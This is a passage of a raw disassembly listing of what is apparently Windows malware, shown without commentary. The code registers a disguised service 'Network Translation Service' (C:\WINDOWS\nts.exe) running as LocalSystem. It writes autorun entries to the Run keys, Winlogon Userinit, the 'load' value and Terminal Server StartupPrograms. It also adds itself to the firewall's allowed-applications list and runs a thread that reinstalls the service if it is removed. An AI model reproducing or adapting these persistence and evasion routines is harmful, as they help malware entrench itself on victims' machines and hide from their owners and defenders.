jnz short loc_404ED1 push edi call dword_411E4C ; CloseServiceHandle xor eax, eax jmp short loc_404F23 ; --------------------------------------------------------------------------- loc_404ED1: ; CODE XREF: sub_404E56+6Ej lea eax, [ebp+var_1C] push eax push ebx call dword_411E50 ; QueryServiceStatus test eax, eax jz short loc_404EE9 cmp [ebp+var_18], 4 jnz short loc_404EE9 xor esi, esi inc esi loc_404EE9: ; CODE XREF: sub_404E56+88j ; sub_404E56+8Ej test esi, esi jnz short loc_404F13 push 0 push 0 push ebx call dword_411E5C ; StartServiceA test eax, eax jz short loc_404F03 mov esi, 2 jmp short loc_404F13 ; --------------------------------------------------------------------------- loc_404F03: ; CODE XREF: sub_404E56+A4j call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_404F13 or esi, 0FFFFFFFFh loc_404F13: ; CODE XREF: sub_404E56+95j ; sub_404E56+ABj ... push ebx call dword_411E4C ; CloseServiceHandle push edi call dword_411E4C ; CloseServiceHandle mov eax, esi loc_404F23: ; CODE XREF: sub_404E56+1Ej ; sub_404E56+56j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F2A proc near ; CODE XREF: sub_405BE3:loc_405C2Cp ; sub_4066F1+3F3p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_113 = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov esi, eax test eax, eax jz loc_405065 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push 0 push 2 push 110h push 0F01FFh push offset aNetworkTransla ; "Network Translation Service" push offset aNts ; "NTS" push esi call dword_411E60 ; CreateServiceA mov ebx, eax test ebx, ebx jnz short loc_404FB2 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 431h jnz short loc_404FA4 push esi call dword_411E4C ; CloseServiceHandle call sub_404E08 xor eax, eax inc eax jmp loc_405065 ; --------------------------------------------------------------------------- loc_404FA4: ; CODE XREF: sub_404F2A+64j push esi call dword_411E4C ; CloseServiceHandle xor eax, eax jmp loc_405065 ; --------------------------------------------------------------------------- loc_404FB2: ; CODE XREF: sub_404F2A+57j push offset aServiceRegiste ; "service registered\n" call nullsub_2 pop ecx xor edi, edi inc edi push 0FFh push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"... lea eax, [ebp+var_113] push eax call dword_411D3C ; lstrcpyn lea eax, [ebp+var_113] mov [ebp+var_120], eax lea eax, [ebp+var_120] push eax push 1 push ebx call dword_411E58 ; ChangeServiceConfig2A test eax, eax jnz short loc_405007 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_405007 or edi, 0FFFFFFFFh loc_405007: ; CODE XREF: sub_404F2A+CBj ; sub_404F2A+D8j mov [ebp+var_11C], 1 and [ebp+var_118], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_11C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E58 ; ChangeServiceConfig2A test eax, eax jnz short loc_405055 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_405055 or edi, 0FFFFFFFFh loc_405055: ; CODE XREF: sub_404F2A+119j ; sub_404F2A+126j push ebx call dword_411E4C ; CloseServiceHandle push esi call dword_411E4C ; CloseServiceHandle mov eax, edi loc_405065: ; CODE XREF: sub_404F2A+1Fj ; sub_404F2A+75j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404F2A endp ; =============== S U B R O U T I N E ======================================= sub_40506C proc near ; CODE XREF: sub_403FEA+9p ; sub_4066F1+B0p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_4050AE push 0F01FFh push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax push esi call dword_411E64 ; DeleteService push esi call dword_411E4C ; CloseServiceHandle push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax inc eax loc_4050AE: ; CODE XREF: sub_40506C+15j pop esi pop ebx retn sub_40506C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050B1 proc near ; CODE XREF: sub_405BE3+2Ap ; sub_4066F1+40Ap var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_534 = byte ptr -534h var_409 = byte ptr -409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 53Ch push ebx push esi push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_400] push eax call sub_407670 pop ecx pop ecx lea ebx, [ebp+var_400] lea eax, [ebp+var_400] push eax call sub_407650 pop ecx add ebx, eax push offset aNts ; "NTS" push ebx call sub_407670 pop ecx pop ecx xor esi, esi lea eax, [ebp+var_404] push eax push 0F003Fh push 0 lea eax, [ebp+var_400] push eax push 80000002h call dword_411E30 ; RegOpenKeyExA test eax, eax jnz short loc_40517F mov [ebp+var_408], 12Ch lea eax, [ebp+var_408] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_538] push eax push 0 push offset aImagepath ; "ImagePath" push [ebp+var_404] call dword_411E68 ; RegQueryValueExA mov [ebp+var_53C], eax test eax, eax jnz short loc_405173 mov [ebp+var_409], 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp+var_534] push eax call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_405173 xor esi, esi inc esi loc_405173: ; CODE XREF: sub_4050B1+A0j ; sub_4050B1+BDj push [ebp+var_404] call dword_411E2C ; RegCloseKey loc_40517F: ; CODE XREF: sub_4050B1+64j mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4050B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405187 proc near ; CODE XREF: sub_405BE3+33p ; sub_4066F1+413p var_40C = byte ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 40Ch push ebx push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_408] push eax call sub_407670 pop ecx pop ecx lea ebx, [ebp+var_408] lea eax, [ebp+var_408] push eax call sub_407650 pop ecx add ebx, eax push offset aNts ; "NTS" push ebx call sub_407670 pop ecx pop ecx lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 lea eax, [ebp+var_408] push eax push 80000002h call dword_411E24 ; RegCreateKeyExA test eax, eax jnz loc_4052FC mov [ebp+var_8], 110h push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aType ; "Type" push [ebp+var_4] call dword_411E28 ; RegSetValueExA mov [ebp+var_8], 2 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] call dword_411E28 ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push 0Ch push offset aLocalsystem ; "LocalSystem" push 1 push 0 push offset aObjectname ; "ObjectName" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push offset aNetworkTransla ; "Network Translation Service" call sub_407650 pop ecx inc eax push eax push offset aNetworkTransla ; "Network Translation Service" push 1 push 0 push offset aDisplayname ; "DisplayName" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"... call sub_407650 pop ecx inc eax push eax push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"... push 1 push 0 push offset aDescription ; "Description" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call sub_407650 pop ecx inc eax push eax push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push 1 push 0 push offset aImagepath ; "ImagePath" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_4052FC: ; CODE XREF: sub_405187+6Bj pop ebx mov esp, ebp pop ebp retn sub_405187 endp ; --------------------------------------------------------------------------- push ebx push esi push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}" push 0 push 0 push 0 call dword_411D40 ; CreateEventA mov ebx, eax test eax, eax jz short loc_405335 push ebx call dword_411D44 ; SetEvent mov esi, eax push ebx call dword_411CF8 ; CloseHandle test esi, esi jz short loc_405333 xor eax, eax inc eax jmp short loc_405335 ; --------------------------------------------------------------------------- loc_405333: ; CODE XREF: DMN0:0040532Cj xor eax, eax loc_405335: ; CODE XREF: DMN0:00405318j ; DMN0:00405331j pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405338 proc near ; CODE XREF: sub_405545+89p ; sub_4055DB+CAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 ; RegCreateKeyExA test eax, eax jnz short loc_40538A push [ebp+arg_C] call sub_407650 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 ; RegSetValueExA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_40538A: ; CODE XREF: sub_405338+29j mov esp, ebp pop ebp retn sub_405338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538E proc near ; CODE XREF: sub_405496+3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_407650 pop ecx mov edi, eax push [ebp+var_4] call sub_407650 pop ecx mov ebx, eax jmp short loc_4053D2 ; --------------------------------------------------------------------------- loc_4053B4: ; CODE XREF: sub_40538E+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC ; CompareStringA cmp eax, 2 jnz short loc_4053D0 mov eax, esi jmp short loc_4053D8 ; --------------------------------------------------------------------------- loc_4053D0: ; CODE XREF: sub_40538E+3Cj inc esi dec edi loc_4053D2: ; CODE XREF: sub_40538E+24j cmp edi, ebx jge short loc_4053B4 xor eax, eax loc_4053D8: ; CODE XREF: sub_40538E+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40538E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DF proc near ; CODE XREF: sub_405496+23p ; sub_405545+4Ap ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] cmp edi, 1 jl short loc_4053FA test esi, esi jnz short loc_405401 loc_4053FA: ; CODE XREF: sub_4053DF+15j xor eax, eax jmp loc_40548F ; --------------------------------------------------------------------------- loc_405401: ; CODE XREF: sub_4053DF+19j lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 ; RegOpenKeyExA test eax, eax jz short loc_405420 xor eax, eax jmp short loc_40548F ; --------------------------------------------------------------------------- loc_405420: ; CODE XREF: sub_4053DF+3Bj push [ebp+arg_4] push offset aRegreadOpenedS ; "RegRead(): opened %s\n" call nullsub_2 pop ecx pop ecx push edi push 0 push esi call sub_4075D0 add esp, 0Ch lea eax, [edi-1] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10] push eax push 0 push ebx push [ebp+var_8] call dword_411E68 ; RegQueryValueExA mov [ebp+var_C], eax push [ebp+var_8] call dword_411E2C ; RegCloseKey cmp [ebp+var_C], 0 jnz short loc_405480 push esi push ebx push [ebp+var_4] push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n" call nullsub_2 add esp, 10h mov eax, [ebp+var_4] dec eax jmp short loc_40548F ; --------------------------------------------------------------------------- loc_405480: ; CODE XREF: sub_4053DF+87j push ebx push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n" call nullsub_2 pop ecx pop ecx xor eax, eax loc_40548F: ; CODE XREF: sub_4053DF+1Dj ; sub_4053DF+3Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4053DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405496 proc near ; CODE XREF: sub_405545+23p ; sub_4055DB+24p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2000h call sub_407730 push ebx push 2000h lea eax, [ebp+var_2000] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DF add esp, 14h mov ebx, eax test eax, eax jz short loc_4054E3 push [ebp+arg_C] lea eax, [ebp+var_2000] push eax call sub_40538E pop ecx pop ecx test eax, eax jz short loc_4054E1 xor eax, eax inc eax jmp short loc_4054E3 ; --------------------------------------------------------------------------- loc_4054E1: ; CODE XREF: sub_405496+44j xor eax, eax loc_4054E3: ; CODE XREF: sub_405496+2Fj ; sub_405496+49j pop ebx mov esp, ebp pop ebp retn sub_405496 endp ; =============== S U B R O U T I N E ======================================= sub_4054E8 proc near ; CODE XREF: sub_405774+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, [esp+0Ch+arg_8] mov edi, [esp+0Ch+arg_C] test edi, edi jz short loc_405501 mov byte ptr [ebx], 22h inc ebx jmp short loc_405504 ; --------------------------------------------------------------------------- loc_405501: ; CODE XREF: sub_4054E8+11j mov byte ptr [ebx], 0 loc_405504: ; CODE XREF: sub_4054E8+17j push [esp+0Ch+arg_4] push ebx call sub_407670 pop ecx pop ecx push [esp+0Ch+arg_4] call sub_407650 pop ecx add ebx, eax test edi, edi jz short loc_405524 mov byte ptr [ebx], 22h inc ebx loc_405524: ; CODE XREF: sub_4054E8+36j test esi, esi jz short loc_40553E mov byte ptr [ebx], 20h inc ebx push esi push ebx call sub_407670 pop ecx pop ecx push esi call sub_407650 pop ecx add ebx, eax loc_40553E: ; CODE XREF: sub_4054E8+3Ej mov byte ptr [ebx], 0 pop edi pop esi pop ebx retn sub_4054E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405545 proc near ; CODE XREF: sub_405774+78p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407730 push ebx push dword_4128A4 push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_405496 add esp, 10h test eax, eax jnz short loc_4055D6 push 2000h lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_4053DF add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_4055A4 mov [ebp+var_2000], 0 loc_4055A4: ; CODE XREF: sub_405545+56j push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_405338 add esp, 10h loc_4055D6: ; CODE XREF: sub_405545+2Dj pop ebx mov esp, ebp pop ebp retn sub_405545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055DB proc near ; CODE XREF: sub_405774+7Dp var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407730 push ebx push esi push dword_4128A4 push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405496 add esp, 10h test eax, eax jnz loc_4056AD push 2000h lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4053DF add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_40563F mov [ebp+var_2000], 0 loc_40563F: ; CODE XREF: sub_4055DB+5Bj cmp [ebp+var_2000], 0 jz short loc_405664 lea esi, [ebp+var_2000] jmp short loc_405651 ; --------------------------------------------------------------------------- loc_405650: ; CODE XREF: sub_4055DB+79j inc esi loc_405651: ; CODE XREF: sub_4055DB+73j cmp byte ptr [esi], 0 jnz short loc_405650 dec esi cmp byte ptr [esi], 2Ch jz short loc_405664 inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_405664: ; CODE XREF: sub_4055DB+6Bj ; sub_4055DB+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx test ebx, ebx jnz short loc_40568F push offset asc_40E73B ; "," lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx loc_40568F: ; CODE XREF: sub_4055DB+9Fj lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405338 add esp, 10h loc_4056AD: ; CODE XREF: sub_4055DB+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_4055DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056B3 proc near ; CODE XREF: sub_405774+82p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407730 push ebx push esi push dword_4128A4 push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405496 add esp, 10h test eax, eax jnz loc_40576E push 2000h lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4053DF add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_405717 mov [ebp+var_2000], 0 loc_405717: ; CODE XREF: sub_4056B3+5Bj cmp [ebp+var_2000], 0 jz short loc_40573C lea esi, [ebp+var_2000] jmp short loc_405729 ; --------------------------------------------------------------------------- loc_405728: ; CODE XREF: sub_4056B3+79j inc esi loc_405729: ; CODE XREF: sub_4056B3+73j cmp byte ptr [esi], 0 jnz short loc_405728 dec esi cmp byte ptr [esi], 2Ch jz short loc_40573C inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_40573C: ; CODE XREF: sub_4056B3+6Bj ; sub_4056B3+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405338 add esp, 10h loc_40576E: ; CODE XREF: sub_4056B3+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_4056B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405774 proc near ; CODE XREF: sub_4066F1+557p var_2000 = byte ptr -2000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_407730 push 1 push offset asc_40E6FF ; "*" push [ebp+arg_0] lea eax, [ebp+var_2000] push eax call sub_4054E8 add esp, 10h push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n" call nullsub_2 pop ecx lea eax, [ebp+var_2000] push eax push offset aNetworkTransla ; "Network Translation Service" push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_405338 add esp, 10h push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n" call nullsub_2 pop ecx lea eax, [ebp+var_2000] push eax push offset aNetworkTransla ; "Network Translation Service" push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_405338 add esp, 10h call sub_405545 call sub_4055DB call sub_4056B3 mov esp, ebp pop ebp retn sub_405774 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057FF proc near ; CODE XREF: sub_4066F1+236p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_407730 mov [ebp+var_2000], 0 push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx push offset aNts ; "NTS" lea eax, [ebp+var_2000] push eax call sub_407690 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push dword_4128A4 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_405338 add esp, 10h mov esp, ebp pop ebp retn sub_4057FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_405870 proc near ; CODE XREF: DMN0:00405A8Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 14h push 40h call dword_411CE0 ; LocalAlloc mov [ebp+var_10], eax push 1 push [ebp+var_10] call dword_411E38 ; InitializeSecurityDescriptor push 0 push 0 push 1 push [ebp+var_10] call dword_411E3C ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov eax, [ebp+var_10] mov [ebp+var_8], eax mov [ebp+var_4], 1 push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}" push 0 push 0 lea eax, [ebp+var_C] push eax call dword_411D40 ; CreateEventA mov ebx, eax test ebx, ebx jz short loc_4058DA push offset aEventCreated_ ; "EVENT CREATED.\n" call sub_407260 pop ecx jmp short loc_4058ED ; --------------------------------------------------------------------------- loc_4058DA: ; CODE XREF: sub_405870+5Bj call dword_411CE8 ; RtlGetLastWin32Error push eax push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n" call sub_407260 pop ecx pop ecx loc_4058ED: ; CODE XREF: sub_405870+68j push 0 push 0 push offset sub_405BE3 call sub_407910 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 0 push 0 push offset sub_406677 call sub_407910 add esp, 0Ch mov esi, eax loc_405918: ; CODE XREF: sub_405870:loc_405967j test ebx, ebx jz short loc_405952 push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n" call sub_407260 pop ecx mov [ebp+var_18], esi mov [ebp+var_14], ebx push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push 2 call dword_411D48 ; WaitForMultipleObjects mov edi, eax test edi, edi jz short loc_405948 cmp edi, 1 jnz short loc_405967 loc_405948: ; CODE XREF: sub_405870+D1j push 1 call sub_4079E0 pop ecx jmp short loc_405967 ; --------------------------------------------------------------------------- loc_405952: ; CODE XREF: sub_405870+AAj push 0FFFFFFFFh push esi call dword_411D34 ; WaitForSingleObject test eax, eax jnz short loc_405967 push 1 call sub_4079E0 pop ecx loc_405967: ; CODE XREF: sub_405870+D6j ; sub_405870+E0j ... jmp short loc_405918 sub_405870 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_405970: ; DATA XREF: DMN0:004059E6o ; DMN1:00446967o mov eax, [esp+4] cmp eax, 3 jz short loc_405985 cmp eax, 4 jz short loc_4059A2 cmp eax, 5 jz short loc_4059B5 jmp short locret_4059D8 ; --------------------------------------------------------------------------- loc_405985: ; CODE XREF: DMN0:00405977j mov dword_41293C, 4 push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus jmp short locret_4059D8 ; --------------------------------------------------------------------------- loc_4059A2: ; CODE XREF: DMN0:0040597Cj push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus jmp short locret_4059D8 ; --------------------------------------------------------------------------- loc_4059B5: ; CODE XREF: DMN0:00405981j mov dword_41293C, 1 push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus push 1 call sub_4079E0 pop ecx locret_4059D8: ; CODE XREF: DMN0:00405983j ; DMN0:004059A0j ... retn 4 ; --------------------------------------------------------------------------- loc_4059DB: ; DATA XREF: sub_405AC9+18o ; sub_446A4A+18o push offset aServicectrldis ; "ServiceCtrlDispatcher()\n" call sub_407260 pop ecx push offset loc_405970 push off_412958 call dword_411E70 ; RegisterServiceCtrlHandlerA mov dword_412954, eax cmp dword_412954, 0 jz loc_405ABB push 1 push offset dword_411044 call dword_411D04 ; InterlockedExchange push 1Ch push 0 push offset dword_412938 call sub_4075D0 add esp, 0Ch mov dword_412938, 110h mov dword_41293C, 2 and dword_412940, 0 mov dword_412950, 9C4h push offset aSetservicestat ; "SetServiceStatus(): start pending\n" call sub_407260 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus mov dword_41293C, 4 push offset aSetservicest_0 ; "SetServiceStatus(): running\n" call sub_407260 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus call sub_405870 ; --------------------------------------------------------------------------- mov dword_41293C, 1 push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n" call sub_407260 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus jmp short locret_405AC6 ; --------------------------------------------------------------------------- loc_405ABB: ; CODE XREF: DMN0:00405A03j push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("... call sub_407260 pop ecx locret_405AC6: ; CODE XREF: DMN0:00405AB9j retn 8 ; =============== S U B R O U T I N E ======================================= sub_405AC9 proc near ; CODE XREF: DMN0:00405B0Fp ; sub_4066F1+532p push ebx call sub_40410E test eax, eax jz short loc_405AD7 xor eax, eax jmp short loc_405B0D ; --------------------------------------------------------------------------- loc_405AD7: ; CODE XREF: sub_405AC9+8j mov eax, off_412958 mov dword_41295C, eax mov dword_412960, offset loc_4059DB and dword_412964, 0 and dword_412968, 0 push offset dword_41295C call dword_411E74 ; StartServiceCtrlDispatcherA mov ebx, eax call sub_404162 mov eax, ebx loc_405B0D: ; CODE XREF: sub_405AC9+Cj pop ebx retn sub_405AC9 endp ; --------------------------------------------------------------------------- call sub_405AC9 call sub_4079A0 retn ; --------------------------------------------------------------------------- call sub_404E56 mov dword_411040, eax call sub_4079A0 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B2A proc near ; CODE XREF: sub_405BE3+64p ; sub_4066F1+1F7p var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 854h push 44h push 0 lea eax, [ebp+var_44] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_44], 44h push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_844] push eax call sub_407670 pop ecx pop ecx push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx push offset asc_40E5AD ; "\" " lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_405B9A push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_407690 pop ecx pop ecx loc_405B9A: ; CODE XREF: sub_405B2A+5Dj lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 ; CreateProcessA test eax, eax jz short loc_405BDF push [ebp+var_850] call dword_411CF8 ; CloseHandle push [ebp+var_854] call dword_411CF8 ; CloseHandle xor eax, eax inc eax loc_405BDF: ; CODE XREF: sub_405B2A+98j mov esp, ebp pop ebp retn sub_405B2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_405BE3 proc near ; DATA XREF: sub_405870+81o ; sub_4467F1+81o push ebx push esi push offset aServicefixerth ; "ServiceFixerThread started.\n" call nullsub_2 pop ecx loc_405BF0: ; CODE XREF: sub_405BE3:loc_405C78j xor ebx, ebx push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call dword_411D4C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_405C6D call sub_404CB8 test eax, eax jz short loc_405C2C call sub_4050B1 test eax, eax jnz short loc_405C1B call sub_405187 loc_405C1B: ; CODE XREF: sub_405BE3+31j call sub_404E08 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_405C39 xor ebx, ebx inc ebx jmp short loc_405C39 ; 